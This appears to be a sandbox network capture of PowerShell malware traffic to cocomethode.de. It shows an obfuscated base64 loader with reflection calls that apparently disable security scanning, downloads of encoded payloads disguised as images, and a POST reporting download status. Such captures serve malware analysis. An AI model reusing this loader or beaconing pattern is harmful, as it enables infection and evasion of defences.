2024-12-11 11:29:16 UTC	1276	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 34 38 26 6d 69 6e 5f 72 74 74 3d 34 33 26 72 74 74 5f 76 61 72 3d 31 37 26 73 65 6e 74 3d 37 26 72 65 63 76 3d 39 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 31 34 36 34 33 26 72 65 63 76 5f 62 79 74 65 73 3d 31 37 39 39 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 31 32 35 39 32 38 38 34 36 31 26 63 77 6e 64 3d 31 31 34 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 26 74 73 3d 30 26 78 3d 30 22 0d 0a 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 34 34 26 Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=48&min_rtt=43&rtt_var=17&sent=7&recv=9&lost=0&retrans=0&sent_bytes=14643&recv_bytes=1799&delivery_rate=1259288461&cwnd=114&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"server-timing: cfL4;desc="?proto=TCP&rtt=44&
2024-12-11 11:29:16 UTC	226	IN	Data Raw: 24 71 77 63 77 74 68 66 76 62 74 3d 5b 53 79 73 74 65 6d 2e 54 65 78 74 2e 45 6e 63 6f 64 69 6e 67 5d 3a 3a 41 53 43 49 49 2e 47 65 74 53 74 72 69 6e 67 28 5b 53 79 73 74 65 6d 2e 43 6f 6e 76 65 72 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 28 22 4e 47 4e 48 52 6e 56 61 52 6b 4a 35 59 6a 4e 43 62 47 4e 75 55 6a 56 4a 52 31 4a 77 59 7a 4e 43 63 31 6c 59 62 45 39 5a 56 7a 46 73 53 31 4e 42 64 47 46 74 4f 58 42 69 61 55 46 70 54 45 4e 4a 63 45 39 35 51 6e 42 61 61 55 46 76 56 7a 4e 4f 4d 47 4e 74 62 48 56 61 4d 54 41 32 54 32 74 73 65 6c 52 75 56 6e 4e 69 52 54 6c 35 55 6c 63 78 64 32 52 49 61 32 39 4b 52 30 56 77 53 31 4e 43 4e 30 6c 44 55 6d 68 4a 52 44 Data Ascii: $qwcwthfvbt=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("NGNHRnVaRkJ5YjNCbGNuUjVJR1JwYzNCc1lYbE9ZVzFsS1NBdGFtOXBiaUFpTENJcE95QnBaaUFvVzNOMGNtbHVaMTA2T2tselRuVnNiRTl5Ulcxd2RIa29KR0VwS1NCN0lDUmhJRD
2024-12-11 11:29:16 UTC	1369	IN	Data Raw: 42 6e 53 57 35 57 64 57 45 79 4e 58 5a 6b 4d 6a 52 70 53 55 67 77 5a 32 5a 54 51 6d 70 5a 57 46 4a 71 59 55 4e 43 4e 30 6c 44 55 6d 68 4a 52 44 42 6e 56 7a 46 4f 4e 57 4d 7a 55 6d 78 69 55 7a 56 57 59 32 31 73 5a 45 39 71 63 45 5a 6a 4d 6b 35 6f 59 30 64 57 52 56 6c 59 55 6d 68 56 4d 31 4a 35 59 56 63 31 62 6b 74 44 53 6a 46 69 62 58 52 31 59 6a 4e 6b 64 55 39 70 53 57 64 4c 65 55 46 72 57 48 6b 31 52 6d 56 48 54 6d 78 6a 53 46 4a 77 59 6a 49 30 64 56 52 58 56 6e 70 6a 4d 6b 5a 75 57 6c 4e 72 5a 32 5a 55 63 30 35 44 61 56 49 77 53 55 51 77 5a 30 74 46 5a 47 78 6b 51 7a 46 45 59 56 63 78 53 6d 4a 75 54 6a 42 5a 56 7a 56 71 57 6c 4e 43 57 47 46 58 4e 48 70 4e 62 44 6c 52 59 55 68 73 65 6d 46 58 54 6d 68 69 52 54 46 73 59 6c 63 35 65 57 56 54 51 6a 68 4a 52 Data Ascii: BnSW5WdWEyNXZkMjRpSUgwZ2ZTQmpZWFJqYUNCN0lDUmhJRDBnVzFONWMzUmxiUzVWY21sZE9qcEZjMk5oY0dWRVlYUmhVM1J5YVc1bktDSjFibXR1YjNkdU9pSWdLeUFrWHk1RmVHTmxjSFJwYjI0dVRXVnpjMkZuWlNrZ2ZUc05DaVIwSUQwZ0tFZGxkQzFEYVcxSmJuTjBZVzVqWlNCWGFXNHpNbDlRYUhsemFXTmhiRTFsYlc5eWVTQjhJR
2024-12-11 11:29:16 UTC	1369	IN	Data Raw: 48 61 47 78 4a 52 30 35 32 59 6d 35 53 62 47 4a 75 55 57 64 68 56 31 6c 6e 5a 45 64 6f 62 45 6c 49 53 6d 78 6a 57 46 5a 73 59 7a 4e 52 5a 32 46 59 54 57 64 6a 4d 31 5a 71 57 54 4a 57 65 6d 4d 79 57 6a 46 69 51 54 42 4c 53 6b 64 4b 4e 57 52 48 56 6b 4a 6a 62 6b 70 6f 5a 56 4e 42 4f 55 6c 44 55 6d 70 69 4d 6a 55 77 57 6c 63 31 4d 45 78 74 54 6e 5a 69 62 6c 4a 73 59 6d 35 52 54 6b 4e 74 57 6e 5a 6a 61 55 46 76 53 6b 64 72 5a 31 42 54 51 58 64 50 65 55 46 72 59 56 4e 42 64 47 4a 49 55 57 64 4b 52 30 6f 31 5a 45 64 57 51 6d 4e 75 53 6d 68 6c 55 7a 56 4e 57 6c 63 31 62 6d 52 48 5a 7a 64 4a 51 31 4a 77 53 33 6c 7a 63 45 6c 49 63 32 64 45 55 57 39 6e 53 55 4e 42 5a 30 70 48 53 6a 56 6b 52 31 5a 43 59 32 35 4b 61 47 56 57 63 32 74 68 56 6a 42 6e 55 46 4e 42 61 31 Data Ascii: HaGxJR052Ym5SbGJuUWdhV1lnZEdobElISmxjWFZsYzNRZ2FYTWdjM1ZqWTJWemMyWjFiQTBLSkdKNWRHVkJjbkpoZVNBOUlDUmpiMjUwWlc1MExtTnZiblJsYm5RTkNtWnZjaUFvSkdrZ1BTQXdPeUFrYVNBdGJIUWdKR0o1ZEdWQmNuSmhlUzVNWlc1bmRHZzdJQ1JwS3lzcElIc2dEUW9nSUNBZ0pHSjVkR1ZCY25KaGVWc2thVjBnUFNBa1
2024-12-11 11:29:16 UTC	1369	IN	Data Raw: 6c 42 64 46 52 48 52 6e 56 61 4d 31 5a 6f 57 6a 4a 56 5a 31 45 78 54 6d 39 5a 57 45 70 33 54 33 6c 43 59 6d 52 74 4f 58 42 61 52 6a 46 69 56 6a 4a 73 64 55 31 36 53 6d 52 50 61 6e 42 55 59 55 63 35 4d 31 59 79 62 48 56 61 52 7a 6b 7a 53 30 5a 30 57 47 46 58 4e 48 70 4e 62 44 41 32 54 32 74 6b 62 47 52 46 57 6e 5a 6a 62 56 5a 75 59 32 30 35 4d 57 4a 74 55 6c 68 68 56 7a 56 72 59 6a 4e 6a 62 30 74 54 64 32 64 4e 51 32 74 4f 51 32 63 39 50 51 3d 3d 22 29 29 3b 0a 24 64 65 62 76 72 76 70 3d 5b 53 79 73 74 65 6d 2e 54 65 78 74 2e 45 6e 63 6f 64 69 6e 67 5d 3a 3a 41 53 43 49 49 2e 47 65 74 53 74 72 69 6e 67 28 5b 53 79 73 74 65 6d 2e 43 6f 6e 76 65 72 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 28 22 55 56 64 53 61 30 78 57 55 6a 56 6a 52 31 56 Data Ascii: lBdFRHRnVaM1ZoWjJVZ1ExTm9ZWEp3T3lCYmRtOXBaRjFiVjJsdU16SmRPanBUYUc5M1YybHVaRzkzS0Z0WGFXNHpNbDA2T2tkbGRFWnZjbVZuY205MWJtUlhhVzVrYjNjb0tTd2dNQ2tOQ2c9PQ=="));$debvrvp=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("UVdSa0xWUjVjR1V
2024-12-11 11:29:16 UTC	1369	IN	Data Raw: 47 65 74 53 74 72 69 6e 67 28 5b 53 79 73 74 65 6d 2e 43 6f 6e 76 65 72 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 28 22 59 33 4d 75 52 58 5a 6c 62 6e 52 70 62 6d 63 75 52 58 5a 6c 62 6e 52 51 63 6d 39 32 61 57 52 6c 63 67 3d 3d 22 29 29 3b 0a 24 72 6f 64 74 6c 66 3d 5b 53 79 73 74 65 6d 2e 54 65 78 74 2e 45 6e 63 6f 64 69 6e 67 5d 3a 3a 41 53 43 49 49 2e 47 65 74 53 74 72 69 6e 67 28 5b 53 79 73 74 65 6d 2e 43 6f 6e 76 65 72 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 28 22 55 33 6c 7a 64 47 56 74 4c 6b 52 70 59 57 64 75 62 33 4e 30 61 51 3d 3d 22 29 29 3b 0a 24 66 6b 62 64 63 72 3d 5b 53 79 73 74 65 6d 2e 54 65 78 74 2e 45 6e 63 6f 64 69 6e 67 5d 3a 3a 41 53 43 49 49 2e 47 65 74 53 74 72 69 6e 67 28 5b 53 79 73 74 65 6d Data Ascii: GetString([System.Convert]::FromBase64String("Y3MuRXZlbnRpbmcuRXZlbnRQcm92aWRlcg=="));$rodtlf=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("U3lzdGVtLkRpYWdub3N0aQ=="));$fkbdcr=[System.Text.Encoding]::ASCII.GetString([System
2024-12-11 11:29:16 UTC	724	IN	Data Raw: 2b 20 24 69 6e 6f 63 6f 7a 78 6c 70 29 29 29 29 3b 0a 24 68 6a 75 68 68 63 75 62 6e 69 6a 6f 65 73 62 61 6a 75 20 3d 20 5b 52 65 66 5d 2e 41 73 73 65 6d 62 6c 79 2e 47 65 74 54 79 70 65 28 28 24 63 6f 76 63 63 72 6a 65 61 72 20 2b 20 24 73 74 6a 6b 69 29 29 2e 47 65 74 46 69 65 6c 64 28 28 24 70 71 68 6b 66 72 73 65 20 2b 20 24 7a 75 67 6d 68 75 29 2c 28 24 6b 6d 68 76 68 76 62 20 2b 20 24 6d 79 67 6f 63 63 72 6f 75 79 29 29 3b 0a 24 68 6a 75 68 68 63 75 62 6e 69 6a 6f 65 73 62 61 6a 75 2e 53 65 74 56 61 6c 75 65 28 24 6e 75 6c 6c 2c 24 65 6e 66 68 71 73 61 75 68 77 7a 29 3b 0a 5b 52 65 66 6c 65 63 74 69 6f 6e 2e 41 73 73 65 6d 62 6c 79 5d 3a 3a 4c 6f 61 64 57 69 74 68 50 61 72 74 69 61 6c 4e 61 6d 65 28 28 24 6a 63 71 71 63 20 2b 20 24 66 6b 62 64 63 72 Data Ascii: + $inocozxlp))));$hjuhhcubnijoesbaju = [Ref].Assembly.GetType(($covccrjear + $stjki)).GetField(($pqhkfrse + $zugmhu),($kmhvhvb + $mygoccrouy));$hjuhhcubnijoesbaju.SetValue($null,$enfhqsauhwz);[Reflection.Assembly]::LoadWithPartialName(($jcqqc + $fkbdcr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.11.30	49738	172.67.128.139	443	4588	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:29:17 UTC	369	OUT	GET /file3/b83fe30fc85331b12cce94a54c8621c65eea6b03791942cceb80937bd723c6b18fd123c1f55782c1aa93f7ccdfccb20f78866afc8074889dd125916882b0ad29e2f1b013f9f235865a5d8e4be95dccfbcf72fc95b375ca83c0d95f43fa19f849/Windows%20Defender/16/16/user/207 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de
2024-12-11 11:29:18 UTC	1321	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:29:18 GMT Content-Type: application/octet-stream Content-Length: 2856 Connection: close content-disposition: attachment; filename=image; filename*=UTF-8''image CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cDzOrcpB1MS0xLkIvMlHZPvYJlRkdoR78rIT%2F%2FeB6sXGI3AVg9nqDUWkfBHm%2FX%2FhVp3%2FImqFh9RhKaMyY2o%2FX0192jHfUdDSsD9MyPijGp577g3NyF%2FlwWt4FgbLmo9rNWP9O8jxPgPi"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=16225&min_rtt=1490&rtt_var=19747&sent=12598&recv=5730&lost=0&retrans=0&sent_bytes=18071012&recv_bytes=36647&delivery_rate=47464913&cwnd=270&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f0522d76fd5b06f-ATL server-timing: cfL4;desc="?proto=TCP&rtt=52&min_rtt=52&rtt_var=26&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=624&delivery_rate=0&cwnd=175&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=113802&min_rtt=113790&rtt_var=24023&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2834&recv_bytes=1007&delivery_rate=33652&cwnd=252&unsent_bytes=0&cid=5619c502734be3a7&ts=833&x=0"
2024-12-11 11:29:18 UTC	48	IN	Data Raw: 25 6e 7b 6b 75 60 3c 5a 52 78 72 75 64 6c 2f 55 64 79 75 2f 44 6f 62 6e 65 68 6f 66 5c 3b 3b 40 52 42 48 48 2f 46 64 75 52 75 73 68 6f 66 29 5a Data Ascii: %n{ku`<ZRxrudl/Udyu/Dobnehof\;;@RBHH/FduRushof)Z
2024-12-11 11:29:18 UTC	1369	IN	Data Raw: 52 78 72 75 64 6c 2f 42 6e 6f 77 64 73 75 5c 3b 3b 47 73 6e 6c 43 60 72 64 37 35 52 75 73 68 6f 66 29 23 50 56 65 4b 50 30 4b 78 56 6d 69 73 5b 30 43 55 50 56 6d 53 4c 6b 6d 30 5b 44 65 56 65 56 53 45 4c 57 57 6d 56 44 4b 72 52 56 71 7b 55 6a 4f 71 50 56 65 4b 50 31 47 73 5b 46 30 46 62 33 53 59 57 56 65 50 54 31 47 71 56 57 69 42 65 33 4b 49 63 46 71 5b 56 47 4b 76 58 6b 48 31 65 6c 47 74 55 6f 5b 68 60 54 6a 32 53 47 47 77 55 6a 4f 71 50 56 65 4b 50 31 47 73 58 54 65 56 60 47 71 49 57 6f 6d 6b 4c 59 4f 73 58 55 4b 56 4f 57 69 55 50 55 6d 4b 50 30 48 78 56 57 65 35 4c 57 71 54 62 31 34 45 60 54 47 6f 52 54 4f 43 60 33 53 58 52 6f 43 4b 53 45 43 6f 52 56 30 6e 4c 46 53 48 50 6f 71 51 60 55 69 33 56 55 48 34 60 6c 48 78 4c 56 79 6a 53 33 69 33 56 6a 65 57 Data Ascii: Rxrudl/Bnowdsu\;;GsnlC`rd75Rushof)#PVeKP0KxVmis[0CUPVmSLkm0[DeVeVSELWWmVDKrRVq{UjOqPVeKP1Gs[F0Fb3SYWVePT1GqVWiBe3KIcFq[VGKvXkH1elGtUo[h`Tj2SGGwUjOqPVeKP1GsXTeV`GqIWomkLYOsXUKVOWiUPUmKP0HxVWe5LWqTb14E`TGoRTOC`3SXRoCKSECoRV0nLFSHPoqQ`Ui3VUH4`lHxLVyjS3i3VjeW
2024-12-11 11:29:18 UTC	1369	IN	Data Raw: 57 46 58 6c 30 4e 65 6d 71 49 63 49 57 60 4c 55 40 33 55 33 79 56 57 57 4b 70 5b 32 57 52 4c 6d 58 76 57 55 4f 52 64 56 47 59 4f 56 34 4d 50 30 4b 71 5b 57 69 52 63 47 47 58 52 6f 6d 5b 56 46 75 76 52 30 53 7b 55 6a 4f 6f 60 31 71 5b 63 6a 71 72 56 57 65 7b 4f 31 53 53 63 31 71 6c 54 55 43 4d 50 30 65 4e 60 46 53 49 55 6c 38 44 54 56 38 4a 5b 59 62 76 52 31 4f 53 63 47 53 60 57 7b 57 73 52 54 4f 52 5b 6a 79 73 57 6b 53 5b 4c 6d 5b 32 5b 44 65 72 65 6c 4b 71 4f 54 34 60 56 44 34 37 56 57 65 6a 63 44 38 32 4c 44 75 45 54 56 75 73 56 55 48 34 4c 56 4b 74 54 56 65 4c 57 45 43 6f 55 57 53 7b 55 6a 4f 6f 60 31 71 57 4c 30 4b 6e 58 33 34 53 65 47 54 78 64 46 79 60 56 44 47 6f 55 47 69 4f 5b 31 30 54 57 55 65 44 54 56 38 4a 5b 6d 44 76 52 33 5b 53 4c 44 75 44 54 Data Ascii: WFXl0NemqIcIW`LU@3U3yVWWKp[2WRLmXvWUORdVGYOV4MP0Kq[WiRcGGXRom[VFuvR0S{UjOo`1q[cjqrVWe{O1SSc1qlTUCMP0eN`FSIUl8DTV8J[YbvR1OScGS`W{WsRTOR[jysWkS[Lm[2[DerelKqOT4`VD47VWejcD82LDuETVusVUH4LVKtTVeLWECoUWS{UjOo`1qWL0KnX34SeGTxdFy`VDGoUGiO[10TWUeDTV8J[mDvR3[SLDuDT
2024-12-11 11:29:18 UTC	70	IN	Data Raw: 48 48 2f 46 64 75 52 75 73 68 6f 66 29 5a 52 78 72 75 64 6c 2f 42 6e 6f 77 64 73 75 5c 3b 3b 47 73 6e 6c 43 60 72 64 37 35 52 75 73 68 6f 66 29 29 25 6e 72 75 76 79 21 2a 21 25 6e 7b 6b 75 60 28 28 28 28 3a 0b Data Ascii: HH/FduRushof)ZRxrudl/Bnowdsu\;;GsnlC`rd75Rushof))%nruvy!*!%n{ku`((((:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.11.30	49739	172.67.128.139	443	4588	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:29:18 UTC	285	OUT	POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba43c8e1d00e5022a88bcc6d6d3c9d79b3 HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Content-Length: 303
2024-12-11 11:29:18 UTC	303	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 5c 22 62 65 67 69 6e 20 64 6f 77 6e 6c 6f 61 64 20 68 74 74 70 73 3a 2f 2f 63 6f 63 6f 6d 65 74 68 6f 64 65 2e 64 65 2f 66 69 6c 65 32 2f 32 66 35 30 65 65 63 37 62 37 66 65 39 38 39 63 33 36 30 32 65 34 32 66 65 31 32 65 30 39 65 62 62 30 33 32 30 30 35 61 39 66 39 31 37 32 61 37 36 32 65 61 65 61 66 66 34 31 32 35 37 66 65 37 38 31 36 38 37 39 36 38 33 32 63 34 66 64 32 38 38 62 36 32 63 38 65 63 34 31 31 35 36 36 61 38 36 34 37 63 30 64 63 66 30 65 38 37 36 35 39 34 65 36 33 65 65 66 63 33 32 61 62 62 65 36 32 63 66 37 65 31 36 39 39 31 31 36 30 62 66 34 32 65 63 35 36 39 39 61 33 35 39 36 36 62 61 61 61 38 31 64 39 31 38 65 65 38 65 30 63 66 64 36 37 34 39 35 62 35 35 64 34 61 61 32 61 33 39 61 34 35 65 31 64 33 66 33 62 61 65 Data Ascii: [ "\"begin download https://cocomethode.de/file2/2f50eec7b7fe989c3602e42fe12e09ebb032005a9f9172a762eaeaff41257fe78168796832c4fd288b62c8ec411566a8647c0dcf0e876594e63eefc32abbe62cf7e16991160bf42ec5699a35966baaa81d918ee8e0cfd67495b55d4aa2a39a45e1d3f3bae
2024-12-11 11:29:19 UTC	1344	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:29:19 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RGTlbcgkxN29gm9H08Qwv1UBgh3o8rx9yO4xV9JoRcxuK8VJINLw3c3N2Nai330dPut1y1Zyozf8bnAtp7NGUpJ0mwrUE2XWT6xoUauTyTdB4Yn27Hq1yciSAZusLIcgf96KJN7T%2F%2BKg"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1541&min_rtt=1541&rtt_var=770&sent=2&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=1152&delivery_rate=0&cwnd=247&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f0522decaf26762-ATL server-timing: cfL4;desc="?proto=TCP&rtt=39&min_rtt=39&rtt_var=19&sent=2&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=890&delivery_rate=0&cwnd=116&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=40&min_rtt=40&rtt_var=20&sent=2&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=878&delivery_rate=0&cwnd=158&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=40&min_rtt=40&rtt_var=20&sent=2&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=864&delivery_rate=0&cwnd=248&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
2024-12-11 11:29:19 UTC	613	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 35 33 26 6d 69 6e 5f 72 74 74 3d 35 33 26 72 74 74 5f 76 61 72 3d 32 36 26 73 65 6e 74 3d 32 26 72 65 63 76 3d 34 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 72 65 63 76 5f 62 79 74 65 73 3d 38 35 30 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 30 26 63 77 6e 64 3d 33 32 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 26 74 73 3d 30 26 78 3d 30 22 0d 0a 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 33 39 26 6d 69 6e 5f 72 74 74 3d 33 39 26 72 74 74 5f Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=53&min_rtt=53&rtt_var=26&sent=2&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=850&delivery_rate=0&cwnd=32&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"server-timing: cfL4;desc="?proto=TCP&rtt=39&min_rtt=39&rtt_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.11.30	49740	172.67.128.139	443	4588	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:29:20 UTC	365	OUT	GET /file2/2f50eec7b7fe989c3602e42fe12e09ebb032005a9f9172a762eaeaff41257fe78168796832c4fd288b62c8ec411566a8647c0dcf0e876594e63eefc32abbe62cf7e16991160bf42ec5699a35966baaa81d918ee8e0cfd67495b55d4aa2a39a45e1d3f3bae765c97e7ceb82114cdc97d1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de
2024-12-11 11:29:20 UTC	1304	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:29:20 GMT Content-Type: application/octet-stream Content-Length: 2858 Connection: close content-disposition: attachment; filename=image; filename*=UTF-8''image CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2F3Cu4W1vI0uXEVSQh9R1OilTAfhfVNoZRkVmRAuPbxd09k2SD%2F61yxtJdnKpS6M7zueAVR1DddCTglFLk2DX7pqGzueVaJNJCbp0l6XRlzjCv499xxZJlY2W8cSMglm6Qe%2B%2FrwGx7ttt"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=7486&min_rtt=1541&rtt_var=12284&sent=8&recv=10&lost=0&retrans=0&sent_bytes=1669&recv_bytes=4424&delivery_rate=1803582&cwnd=250&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f0522e64ed2675f-ATL server-timing: cfL4;desc="?proto=TCP&rtt=41&min_rtt=39&rtt_var=18&sent=4&recv=6&lost=0&retrans=0&sent_bytes=957&recv_bytes=1528&delivery_rate=1190600000&cwnd=117&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=42&min_rtt=40&rtt_var=20&sent=4&recv=6&lost=0&retrans=0&sent_bytes=1154&recv_bytes=1503&delivery_rate=1056177419&cwnd=159&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
2024-12-11 11:29:20 UTC	416	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 35 36 26 6d 69 6e 5f 72 74 74 3d 35 36 26 72 74 74 5f 76 61 72 3d 32 38 26 73 65 6e 74 3d 31 26 72 65 63 76 3d 33 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 72 65 63 76 5f 62 79 74 65 73 3d 36 32 30 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 30 26 63 77 6e 64 3d 35 38 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 26 74 73 3d 30 26 78 3d 30 22 0d 0a 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 31 33 37 32 38 26 6d 69 6e 5f 72 74 74 3d 31 31 33 Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=56&min_rtt=56&rtt_var=28&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=620&delivery_rate=0&cwnd=58&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"server-timing: cfL4;desc="?proto=TCP&rtt=113728&min_rtt=113
2024-12-11 11:29:20 UTC	1018	IN	Data Raw: 25 76 66 68 72 78 3c 5a 52 78 72 75 64 6c 2f 55 64 79 75 2f 44 6f 62 6e 65 68 6f 66 5c 3b 3b 40 52 42 48 48 2f 46 64 75 52 75 73 68 6f 66 29 5a 52 78 72 75 64 6c 2f 42 6e 6f 77 64 73 75 5c 3b 3b 47 73 6e 6c 43 60 72 64 37 35 52 75 73 68 6f 66 29 23 52 54 4f 52 4c 6d 6d 59 64 45 47 60 57 49 4f 4e 50 33 6d 43 5b 31 6d 45 50 56 75 6a 56 44 71 76 52 54 50 76 5b 31 6d 75 60 45 43 6a 52 44 4b 37 55 33 6a 35 65 6d 6a 78 4e 56 71 68 4c 6b 47 72 5b 44 65 6e 65 6d 71 49 57 59 57 60 53 30 57 33 55 6c 71 43 4f 57 6d 59 53 6c 30 5b 4c 6a 5b 6e 55 57 53 6a 60 47 6d 59 57 55 43 60 53 31 31 79 55 57 65 4e 63 44 34 44 63 46 69 4f 63 57 54 31 55 6a 53 5b 64 44 30 75 53 55 4f 4e 53 44 31 78 55 31 65 4b 4c 54 35 78 56 6c 71 4e 53 31 6a 31 56 56 30 56 60 6a 34 44 57 59 65 60 Data Ascii: %vfhrx<ZRxrudl/Udyu/Dobnehof\;;@RBHH/FduRushof)ZRxrudl/Bnowdsu\;;GsnlC`rd75Rushof)#RTORLmmYdEG`WIONP3mC[1mEPVujVDqvRTPv[1mu`ECjRDK7U3j5emjxNVqhLkGr[DenemqIWYW`S0W3UlqCOWmYSl0[Lj[nUWSj`GmYWUC`S11yUWeNcD4DcFiOcWT1UjS[dD0uSUONSD1xU1eKLT5xVlqNS1j1VV0V`j4DWYe`
